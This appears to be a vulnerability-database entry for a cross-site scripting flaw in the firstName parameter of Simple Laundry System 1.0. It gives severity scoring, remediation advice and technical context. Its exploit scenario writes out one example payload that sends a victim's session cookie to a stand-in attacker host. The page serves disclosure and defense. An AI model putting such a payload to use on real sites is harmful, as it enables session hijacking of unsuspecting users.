Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) indicates network-based attack with low complexity and no privilege requirements, but requires user interaction (clicking a link or viewing a page). The integrity impact is limited (I:L), with no confidentiality or availability impact, resulting in the moderate-low base score of 4.3. The presence of publicly available exploit code (E:P per CVSS) and user interaction requirement (UI:R) elevates practical exploitability. However, the limited impact scope (confidentiality and availability unaffected) and requirement for social engineering or stored XSS context reduce real-world severity compared to remote code execution or authentication bypass vulnerabilities. This is a genuine priority for web application owners but not a critical emergency: it requires defensive HTML encoding in input handling and output rendering, which are foundational security practices. Organizations using Simple Laundry System should prioritize patching to prevent session hijacking and defacement, but this does not warrant emergency downtime. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing XSS payload in the firstName parameter (e.g., /modifymember.php?firstName=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>) and tricks a logged-in admin or member into clicking the link via phishing email or forum post. Alternatively, if the vulnerability stores the firstName value in a database and displays it in user profiles without encoding, the attacker submits the payload once and it persists, affecting all users who view the compromised profile. Upon clicking the link or viewing the stored payload, the JavaScript executes in the victim's browser, stealing session cookies or redirecting to a credential harvesting page. The publicly available exploit code on GitHub (referenced in exploit sources) makes reproduction and adaptation trivial for attackers of all skill levels. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 05, 2026
Stored cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to inject malicious scripts via the firstName parameter in /modifymember.php, which are executed in the context of other users' browsers. The vulnerability has a CVSS score of 4.3 with low impact severity but publicly available exploit code, though exploitation requires user interaction (UI:R). This represents a typical reflected or stored XSS in a parameter handler with limited immediate risk due to no confidentiality or availability impact, though it enables session hijacking and credential theft.
RemediationAI
Organizations using Simple Laundry System should immediately upgrade to a patched version released by code-projects. Input validation and output encoding must be applied to the firstName parameter in /modifymember.php: all user inputs should be validated against an allowlist of permitted characters, and all output rendered in HTML context should be properly HTML-encoded (e.g., converting '<' to '<', '>' to '>', and quotes to their HTML entities). As a temporary workaround pending patches, disable or restrict access to the /modifymember.php endpoint using web server configuration, or implement a Web Application Firewall (WAF) rule to filter XSS payloads in the firstName parameter. For immediate guidance, consult the vendor advisory at https://code-projects.org/ and the VulDB entry at https://vuldb.com/vuln/355292.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in a PHP-based parameter handler for the /modifymember.php endpoint in Simple Laundry System, a web application for managing laundry operations. The flaw is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-Site Scripting), indicating that user-supplied input (the firstName parameter) is not properly sanitized or encoded before being reflected or stored in HTML output. The absence of input validation or output encoding on the firstName field allows attackers to inject arbitrary JavaScript code that executes in victims' browsers when they visit a malicious link or when the application renders stored user data. The CPE identifier cpe:2.3:a:code-projects:simple_laundry_system:*:*:*:*:*:*:*:* indicates all versions up to and including 1.0 are affected.
Know when Simple Laundry System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A flaw has been found in code-projects Simple Laundry System 1.0. This affects an unknown part of the file /modifymember.php of the component Parameter Handler. This manipulation of the argument firstName causes cross site scripting. The attack can be initiated remotely. The exploit has been published and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in Simple Laundry System SQL Injection and XSS
View all 4More in Simple Laundry System
View allSQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to execute arbitrary SQ
SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or
SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or
SQL injection in Simple Laundry System 1.0's /checkregisitem.php parameter handler allows unauthenticated remote attacke
SQL injection in Simple Laundry System 1.0 PHP application allows unauthenticated remote attackers to execute arbitrary
SQL injection in Simple Laundry System 1.0's /checklogin.php parameter handler allows unauthenticated remote attackers t
SQL injection in Simple Laundry System 1.0's /checkupdatestatus.php parameter handler allows unauthenticated remote atta
SQL injection in Simple Laundry System 1.0 through the serviceId parameter in /viewdetail.php allows unauthenticated rem
Cross-site request forgery in code-projects Laundry System 1.0 allows an attacker to perform unauthorized actions on beh
Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject arbitrary script
Reflected cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers
EUVD-2026-19026
GHSA-rgqr-jrx3-5xwx
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB